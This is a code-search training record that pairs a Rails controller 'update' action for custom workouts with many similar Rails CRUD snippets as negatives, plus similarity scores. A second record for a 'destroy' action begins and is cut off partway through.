def update @custom_workout = @user.custom_workouts.find(params[:id]) respond_to do |format| if @custom_workout.update_attributes(params[:custom_workout]) format.html { redirect_to my_fit_wit_fit_wit_workout_progress_path(month: params[:month]), notice: 'Custom workout was successfully updated.' } format.json { head :ok } else format.html { render controller: "my_fit_wit", action: "show_custom_workout" } format.json { render json: @custom_workout.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @myworkout = Myworkout.find(params[:id])\n\n respond_to do |format|\n if @myworkout.update_attributes(params[:myworkout])\n format.html { redirect_to @myworkout, :notice => 'Myworkout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @myworkout.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @custom_workout = @user.custom_workouts.new(params[:custom_workout])\n\n respond_to do |format|\n if @custom_workout.save\n # TODO need to get a specific month in there . . .\n format.html { redirect_to my_fit_wit_fit_wit_workout_progress_path(month: params[:month]), notice: 'Custom workout was successfully created.' }\n format.json { render json: @custom_workout, status: :created, location: @custom_workout }\n else\n format.html { render controller: \"my_fit_wit\", action: \"add_custom_workout\" }\n format.json { render json: @custom_workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @workout.update(workout_params)\n format.html { redirect_to @workout, notice: \"Workout was successfully updated.\" }\n format.json { render :show, status: :ok, location: @workout }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @workout.update(workout_params)\n format.html { redirect_to @workout, notice: 'Workout was successfully updated.' }\n format.json { render :show, status: :ok, location: @workout }\n else\n format.html { render :edit }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if cannot? :update, @workout\n redirect_to root_path,\n notice: 'Unauthorized to update workout' and return\n end\n\n workout_offering_id = create_or_update\n @workout.save!\n if workout_offering_id.nil?\n url = url_for(workout_path(id: @workout.id))\n else\n url = url_for(organization_workout_offering_path(\n organization_id: params[:organization_id],\n term_id: params[:term_id],\n course_id: params[:course_id],\n id: workout_offering_id\n )\n )\n end\n\n respond_to do |format|\n format.json { render json: { url: url } }\n end\n end", "def update\n @workout = Workout.find(params[:id])\n\n respond_to do |format|\n if @workout.update_attributes(params[:workout])\n flash[:alert] = 'Workout was successfully updated.'\n format.html { redirect_to @workout }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_workout.update(user_workout_params)\n format.html { redirect_to @user_workout, notice: 'User workout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @workout_set.update(workout_set_params)\n format.html { redirect_to @workout_set, notice: 'Workout set was successfully updated.' }\n format.json { render :show, status: :ok, location: @workout_set }\n else\n format.html { render :edit }\n format.json { render json: @workout_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:workout][:workout_date] = \"#{params[:workout][:workout_date]} #{params[:workout][:time]}\"\n params[:workout] = params[:workout].slice(:workout_date, :exercises_attributes)\n @lift_name = params[:workout][:exercises_attributes][\"0\"][:lift_id]\n params[:workout][:exercises_attributes][\"0\"][:lift_id] = Lift.find_by_lift_name(@lift_name).id\n @workout = Workout.find(params[:id])\n\n respond_to do |format|\n if @workout.update_attributes(params[:workout])\n format.html { redirect_to @workout, notice: 'Workout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_workout\n @workout = current_user.workouts.find(params[:id])\n end", "def set_workout\n @workout = current_user.workouts.find(params[:id])\n end", "def update\n @workout_set = WorkoutSet.find(params[:id])\n\n respond_to do |format|\n if @workout_set.update_attributes(params[:workout_set])\n format.html { redirect_to @workout_set, notice: 'Workout set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workout_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @workout.update(workout_params)\n format.html { redirect_to @workout, notice: t('flash_message.notice.successfully_updated', model: Workout.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def update\n respond_to do |format|\n if @clientworkout.update(clientworkout_params)\n format.html { redirect_to @clientworkout, notice: 'Clientworkout was successfully updated.' }\n format.json { render :show, status: :ok, location: @clientworkout }\n else\n format.html { render :edit }\n format.json { render json: @clientworkout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @client_workout = ClientWorkout.find(params[:id])\n\n respond_to do |format|\n if @client_workout.update_attributes(params[:client_workout])\n format.html { redirect_to @client_workout, notice: 'Client workout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @workout.update(workout_params)\n @workout.fetch_strava_data! if @workout.needs_strava_data?\n redirect_to workout_path(@workout),\n notice: t('.success')\n else\n page_meta[:workout_description] = @workout.short_description\n render :edit\n end\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n\t\t@workout = Workout.friendly.find(params[:id])\n\tend", "def create\n @myworkout = Myworkout.new(params[:myworkout])\n\n respond_to do |format|\n if @myworkout.save\n format.html { redirect_to @myworkout, :notice => 'Myworkout was successfully created.' }\n format.json { render :json => @myworkout, :status => :created, :location => @myworkout }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @myworkout.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if @workout.update(workout_params)\n redirect_to @workout\n flash[:notice] = \"Workout was successfully updated\"\n else\n render 'edit'\n end\n end", "def update\n respond_to do |format|\n if @workout_routine.update(workout_routine_params)\n format.html { redirect_to @workout_routine, notice: 'Workout routine was successfully updated.' }\n format.json { render :show, status: :ok, location: @workout_routine }\n else\n format.html { render :edit }\n format.json { render json: @workout_routine.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n owner = @workout.owner\n unless owner == current_user or owner == temp_user\n redirect_to \"/\", alert: \"Permission Denied.\"\n end\n @workout.update(workout_params)\n @workout.exercises.destroy_all\n\n ex_params = exercise_params[:exercise].map do |e|\n e[:dur] = e[:dur][:minutes].to_i*60 + e[:dur][:seconds].to_i\n e[:workout_id] = @workout.id\n e\n end\n @exercises = @workout.exercises.create(ex_params)\n \n respond_to do |format|\n if @workout.save\n format.html { redirect_to @workout, notice: 'Workout was successfully updated.' }\n format.json { render json: {workoutId: @workout.id}, status: 200 }\n else\n format.html { render :edit }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_workout = UserWorkout.new(user_workout_params)\n @user_workout.user_id = current_user.id\n\n respond_to do |format|\n if @user_workout.save\n current_user.userworkouts << @user_workout\n format.html { redirect_to @user_workout, notice: 'User workout was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user_workout }\n else\n format.html { render action: 'new' }\n format.json { render json: @user_workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @workout_activity = WorkoutActivity.find(params[:id])\n\n respond_to do |format|\n if @workout_activity.update_attributes(params[:workout_activity])\n format.html { redirect_to @workout_activity, notice: 'Workout activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workout_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @gym_workout = GymWorkout.find(params[:id])\n\n respond_to do |format|\n if @gym_workout.update_attributes(params[:gym_workout])\n format.html { redirect_to @gym_workout, :notice => 'Gym workout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @gym_workout.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save\n @workout = Workout.new(params[:workout])\n #@workout.user_profile_id = self.current_user.id\n if @workout.save\n redirect_to \"/myworkouts/#{@workout.id}\"\n else\n render :action => 'checkin' #{@workout.id}\"\n end\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def update\n @client_workout = ClientWorkout.find(params[:id])\n\n respond_to do |format|\n if @client_workout.update_attributes(params[:client_workout])\n flash[:notice] = 'ClientWorkout was successfully updated.'\n format.html { redirect_to(@client_workout) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @client_workout.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @workout = current_user.workouts.new(workout_params)\n\n respond_to do |format|\n if @workout.save\n format.html { redirect_to root_path(date: I18n.l(@workout.date)), notice: t('flash_message.notice.successfully_created', model: Workout.model_name.human) }\n format.json { render action: 'show', status: :created, location: @workout }\n else\n format.html { render action: 'new' }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # @job = @shift.job\n # @employee = @shift.employee\n # time = @shift.time_out || @shift.time_in\n # @shift.week = time.to_datetime\n\n respond_to do |format|\n if @shift.update(shift_params)\n format.html { redirect_to company_shift_path(@shift), notice: 'Shift was successfully updated.' }\n format.json { render :show, status: :ok, location: @shift }\n else\n format.html { render :edit }\n format.json { render json: @shift.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout = Workout.new(workout_params)\n @workout.user = current_user\n\n respond_to do |format|\n if @workout.save\n format.html { redirect_to @workout, notice: \"Workout was successfully created.\" }\n format.json { render :show, status: :created, location: @workout }\n \n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # debugger\n # TODO: Clean up this params mess and make sure workouts#update allows multiple lift edit\n # TODO: Editing workouts should allow you to update workouts\n # TODO: Switch times to local time\n # set_workout_date(params)\n # remove_workout_time(params)\n # set_lift_ids(params)\n\n # user selects lift\n # JavaScript then uses lift name and gets lift ID\n # from JSON\n # send lift ID over to controller\n # http://railscasts.com/episodes/258-token-fields-revised?\n @workout = current_user.workouts.build(params[:workout])\n\n respond_to do |format|\n if @workout.save\n flash[:success] = \"Workout created\"\n format.html { redirect_to workouts_path, notice: \"Workout was successfully created.\" }\n format.json { render json: @workout, status: :created, location: @workout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @custom_workout = @user.custom_workouts.find(params[:id])\n @custom_workout.destroy\n\n respond_to do |format|\n flash[:notice] = \"Successfully removed your workout.\"\n format.html { redirect_to my_fit_wit_fit_wit_workout_progress_path(month: params[:month]) }\n format.json { head :ok }\n end\n end", "def create\n @workout = current_user.workouts.new(workout_params)\n\n if @workout.save\n redirect_to @workout\n else\n render :new\n end\n end", "def update\n respond_to do |format|\n if @workout_unit.update(workout_unit_params)\n format.html { redirect_to @workout_unit, notice: 'Workout unit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @workout_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n #@workout = Workout.new\n @workout = current_user.workouts.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout }\n end\n end", "def update\n # @job = @shift.job\n # # @employee = @shift.employee\n # time = @shift.time_out || @shift.time_in\n # @shift.week = time.to_date\n authorize @shift\n respond_to do |format|\n if @shift.update(shift_params)\n format.html { redirect_to admin_shift_path(@shift), notice: 'Shift was successfully updated.' }\n format.json { render :show, status: :ok, location: @shift }\n else\n format.html { render :edit }\n format.json { render json: @shift.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout = Workout.new(params[:workout])\n\n respond_to do |format|\n if @workout.save\n flash[:alert] = 'Workout was successfully created.'\n format.html { redirect_to @workout}\n format.json { render json: @workout, status: :created, location: @workout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n @workout = Workout.find(params[:id])\n end", "def create\n @workout = current_user.workouts.build(workout_params)\n if @workout.save\n flash[:notice] = \"Workout was successfully created\"\n redirect_to root_path\n else\n render 'new'\n end\n end", "def update\n respond_to do |format|\n if @works_item.update(work_params)\n format.html { redirect_to works_url, notice: 'Work Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @works_item}\n else\n format.html { render :edit }\n format.json { render json: @works_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @workout_template = WorkoutTemplate.find(params[:id])\n\n respond_to do |format|\n if @workout_template.update_attributes(params[:workout_template])\n format.html { redirect_to @workout_template, notice: 'Workout template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workout_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_workout_set\n @workout_set = WorkoutSet.find(params[:id])\n end", "def destroy\n @myworkout = Myworkout.find(params[:id])\n @myworkout.destroy\n\n respond_to do |format|\n format.html { redirect_to myworkouts_url }\n format.json { head :no_content }\n end\n end", "def update\n @work = Work.find(params[:id])\n\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to action: 'index', flash: {notice: 'Work item was successfully updated.' }}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @myworkout = Myworkout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @myworkout }\n end\n end", "def update\n respond_to do |format|\n if @howitwork.update(howitwork_params)\n format.html { redirect_to admin_howitwork_url(@howitwork), notice: 'Howitwork was successfully updated.' }\n format.json { render :show, status: :ok, location: @howitwork }\n else\n format.html { render :edit }\n format.json { render json: @howitwork.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout_set = WorkoutSet.new(workout_set_params)\n\n respond_to do |format|\n if @workout_set.save\n format.html { redirect_to @workout_set, notice: 'Workout set was successfully created.' }\n format.json { render :show, status: :created, location: @workout_set }\n else\n format.html { render :new }\n format.json { render json: @workout_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_user_workout\n @user_workout = UserWorkout.find(params[:id])\n end", "def set_user_workout\n @user_workout = UserWorkout.find(params[:id])\n end", "def update\n respond_to do |format|\n if @model_workout_sheet.update(model_workout_sheet_params)\n format.html { redirect_to @model_workout_sheet, notice: 'Model workout sheet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @model_workout_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n workouts = @ws.workouts\n render json: workouts\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @workout_logging.update(workout_logging_params)\n format.html { redirect_to @workout_logging, notice: 'Workout logging was successfully updated.' }\n format.json { render :show, status: :ok, location: @workout_logging }\n else\n format.html { render :edit }\n format.json { render json: @workout_logging.errors, status: :unprocessable_entity }\n end\n end\n end", "def workout_params\n params.require(:workout).permit(:title, :duration, :rest, :interval, :sets, :cooldown, :exercises)\n end", "def index\n @workouts = Workout.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workouts }\n end\n end", "def update\n @work.extra = process_extra if params[:work][:extra_keys] && params[:work][:extra_keys]!= \"\"\n respond_to do |format|\n if @work.update_attributes(params[:work].except(:extra_keys, :extra_values))\n Work.create_locations(@work) if @work.places#.changed?\n Location.destroy_unused\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_clientworkout\n @clientworkout = Clientworkout.find(params[:id])\n end", "def addWorkout\n\n\t\tif params[:trained_on]\n\t\t@start_date = Time.zone.parse(params[:trained_on]).strftime(\"%Y-%m-%d\")\n\t\telse\n\t\t@start_date = Time.zone.now.strftime(\"%Y-%m-%d\")\n\t\tparams[:trained_on]=@start_date\n\t\tend\n\n\t\t#for calories field data\n\t\tif !params[:duration1].nil? && !params[:time_from1].nil? && !params[:duration1].empty? && !params[:time_from1].empty?\n\t\tparams[:duration]=params[:duration1]\n\t\tparams[:time_from]=params[:time_from1]\n\t\tend\n\n\t\tif params[:calories].nil? || params[:calories]==\"\"\n\t\t@workout = Workout.create(:user_id=>params[:userid], :trained_on=>@start_date,:time_from=>params[:time_from])\n\t\t@w=WorkoutItem.create(:workout_id=>@workout.id,:exercise_id=>params[:exercise_id],:duration=>params[:duration].delete(\" \"),:user_id=>params[:userid])\n\n\t\telse\n\t\tparams[:exercise_id]=809\t#this is custom calories execersise id\n\t\t#for activity entry by calories\n\t\t@workout = Workout.create(:user_id=>params[:userid],:trained_on=>@start_date,:time_from=>params[:time_from],:note=>params[:note])\n\t\t@w=WorkoutItem.create(:workout_id=>@workout.id,:exercise_id=>params[:exercise_id],:duration=>params[:duration].delete(\" \"),:calories=>params[:calories],:user_id=>params[:userid])\n\t\tend\n\n\t\tif @workout && @w\n\t\t@status={\"status-msg\"=>\"success\"}\n\t\telse \n\t\t@status={\"status-msg\"=>\"not created\"}\n\t\tend\n\t\trender :json =>@status.to_json\n\t\tend", "def update\n @workout_day = WorkoutDay.find(params[:id])\n\n respond_to do |format|\n if @workout_day.update_attributes(params[:workout_day])\n format.html { redirect_to @workout_day, notice: 'Workout day was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workout_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @user_workouts = UserWorkout.all\n end", "def create\n @workout_set = WorkoutSet.new(params[:workout_set])\n @workout_set.user_id = current_user.id\n\n respond_to do |format|\n if @workout_set.save\n format.html { redirect_to @workout_set, notice: 'Workout set was successfully created.' }\n format.json { render json: @workout_set, status: :created, location: @workout_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workout_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @workouts = Workout.all\n end", "def update\n @work = Work.find(params[:id])\n\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @myworkout = Myworkout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @myworkout }\n end\n end", "def create\n @workout = Workout.new(workout_params)\n @workout.user = current_user!\n if @workout.save\n redirect_to workout_path(@workout),\n notice: t('.success')\n else\n render :new\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n format.html { redirect_to user_work_path(@user.id, @work.id), notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end \n end\n end", "def update\n respond_to do |format|\n if @work_step.update(work_step_params)\n format.html { redirect_to @work_plan, notice: 'Work step was successfully updated.' }\n format.json { render :show, status: :ok, location: @work_plan }\n else\n format.html { render :edit }\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @workouts = Workout.all \n render 'index.json.jbuilder', status: :created\n end", "def update\n respond_to do |format|\n if @workout_category.update(workout_category_params)\n format.html { redirect_to @workout_category, notice: 'Workout category was successfully updated.' }\n format.json { render :show, status: :ok, location: @workout_category }\n else\n format.html { render :edit }\n format.json { render json: @workout_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @upwork.update(upwork_params)\n format.html { redirect_to @upwork, notice: 'Upwork was successfully updated.' }\n format.json { render :show, status: :ok, location: @upwork }\n else\n format.html { render :edit }\n format.json { render json: @upwork.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @workoutsession = Workoutsession.find(params[:id])\n\n respond_to do |format|\n wt = params[:workoutsession].delete(:workout_type)\n if @workoutsession.update_attributes(params[:workoutsession])\n @workoutsession.workout_type_id = wt\n @workoutsession.save\n format.html { redirect_to(@workoutsession, :notice => 'Workoutsession was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @workoutsession.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @clientworkouts = Clientworkout.all\n end", "def workout_params\n params.require(:workout).permit(:name)\n end", "def update\n @work_item = set_work\n\n respond_to do |format|\n if @work_item.update(params.require(:work).permit(:title, :subtitle, :body))\n format.html { redirect_to works_path, notice: 'work was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def exercises_workout_params\n params.require(:exercises_workouts).permit(:exercise_id, :workout_id)\n end", "def user_workout_params\n params.require(:user_workout).permit(:user_id, :workout_id)\n end", "def update\n respond_to do |format|\n if @work_order_work_task.update(work_order_work_task_params)\n format.html { redirect_to @work_order_work_task, notice: 'Work order work task was successfully updated.' }\n format.json { render :show, status: :ok, location: @work_order_work_task }\n else\n format.html { render :edit }\n format.json { render json: @work_order_work_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @team = Team.find(params[:team_id])\n @workout = @team.workouts.find(params[:workout_id])\n @practice = @workout.practices.find(params[:id])\n\n respond_to do |format|\n if @practice.update_attributes(params[:practice])\n format.html { redirect_to team_workout_practices_path(@team, @workout), notice: 'Practice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @practice.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @journal = Journal.find(params[:journal_id])\n\n render json: @journal.workouts\n end", "def show\n @workout = Workout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout }\n end\n end", "def update\n @workobject = Workobject.find(params[:id])\n\n respond_to do |format|\n if @workobject.update_attributes(params[:workobject])\n format.html { redirect_to @workobject, notice: 'Workobject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workobject.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work.update(work_params)\n process_work_contributors\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { render :show, status: :ok, location: @work }\n else\n format.html { render :edit }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @works_in = WorksIn.find(params[:id])\n\n respond_to do |format|\n if @works_in.update_attributes(params[:works_in])\n format.html { redirect_to(@works_in, :notice => 'WorksIn was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @works_in.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_workout_unit\n @workout_unit = WorkoutUnit.find(params[:id])\n end", "def update\n respond_to do |format|\n if @pending_work.update(pending_work_params)\n format.html { redirect_to @pending_work, notice: 'Pending work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pending_work.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_work\n @works_item = Work.find(params[:id])\n end", "def update\r\n @second_work = SecondWork.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @second_work.update_attributes(params[:second_work])\r\n format.html { redirect_to @second_work, notice: 'Second work was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @second_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def workout_params\n params.require(:workout).permit(:title, :description, :duration_mins, :is_private, :influencer_id)\n end" ]
[ "0.7118535", "0.70601964", "0.69140595", "0.6900946", "0.6875889", "0.6851672", "0.68229103", "0.6794696", "0.6784685", "0.6775333", "0.6775333", "0.6763716", "0.6688509", "0.6657758", "0.6657758", "0.6657758", "0.6657434", "0.656314", "0.65571964", "0.6500776", "0.6500776", "0.6500776", "0.6500776", "0.6500776", "0.6500776", "0.64495254", "0.6447339", "0.6438145", "0.6432052", "0.63749677", "0.63586736", "0.6358349", "0.63515615", "0.63507694", "0.6304882", "0.6299307", "0.62987655", "0.6295098", "0.6278331", "0.62535554", "0.6217844", "0.6202962", "0.6136636", "0.61212945", "0.61174977", "0.6090699", "0.6075211", "0.6074643", "0.60559314", "0.6054582", "0.60393316", "0.60225725", "0.60146487", "0.6003412", "0.59943986", "0.5981486", "0.59702724", "0.59702724", "0.5964141", "0.59599847", "0.59595084", "0.59595084", "0.59595084", "0.59595084", "0.59545565", "0.59528714", "0.5940592", "0.5930124", "0.5921908", "0.5918543", "0.5907731", "0.5906506", "0.58898395", "0.5889681", "0.5886901", "0.58847547", "0.5877608", "0.5872447", "0.58718234", "0.5869187", "0.5869038", "0.586844", "0.5855036", "0.58546877", "0.585179", "0.584902", "0.58411", "0.5836557", "0.583351", "0.58173233", "0.5815077", "0.5810407", "0.58102405", "0.5802412", "0.5801413", "0.57969403", "0.578074", "0.5778495", "0.57714975", "0.57706594" ]
0.77989906
0
DELETE /custom_workouts/1 DELETE /custom_workouts/1.json
def destroy @custom_workout = @user.custom_workouts.find(params[:id]) @custom_workout.destroy respond_to do |format| flash[:notice] = "Successfully removed your workout." format.html { redirect_to my_fit_wit_fit_wit_workout_progress_path(month: params[:month]) } format.json { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @myworkout = Myworkout.find(params[:id])\n @myworkout.destroy\n\n respond_to do |format|\n format.html { redirect_to myworkouts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout.destroy\n respond_to do |format|\n format.html { redirect_to workouts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_workout = ClientWorkout.find(params[:id])\n @client_workout.destroy\n\n respond_to do |format|\n format.html { redirect_to client_workouts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout = Workout.find(params[:id])\n @workout.destroy\n\n respond_to do |format|\n format.html { redirect_to workouts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_workout.destroy\n respond_to do |format|\n format.html { redirect_to user_workouts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_workout = ClientWorkout.find(params[:id])\n @client_workout.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_workouts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @workout.destroy\n respond_to do |format|\n format.html { redirect_to workouts_url, notice: \"Workout was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @gym_workout = GymWorkout.find(params[:id])\n @gym_workout.destroy\n\n respond_to do |format|\n format.html { redirect_to gym_workouts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout_set = WorkoutSet.find(params[:id])\n @workout_set.destroy\n\n respond_to do |format|\n format.html { redirect_to workout_sets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout = Workout.find(params[:id])\n @workout.destroy\n\n respond_to do |format|\n format.html { redirect_to days_url }\n format.json { head :no_content }\n end\n \n end", "def destroy\n @clientworkout.destroy\n respond_to do |format|\n format.html { redirect_to clientworkouts_url, notice: 'Clientworkout was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout_activity = WorkoutActivity.find(params[:id])\n @workout_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to workout_activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout_set.destroy\n respond_to do |format|\n format.html { redirect_to workout_sets_url, notice: 'Workout set was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pending_work.destroy\n respond_to do |format|\n format.html { redirect_to pending_works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout.destroy\n redirect_to root_path\n end", "def destroy\n @work = Work.find(params[:id])\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work = Work.find(params[:id])\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work = Work.find(params[:id])\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work = Work.find(params[:id])\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout_day = WorkoutDay.find(params[:id])\n @workout_day.destroy\n\n respond_to do |format|\n format.html { redirect_to workout_days_url 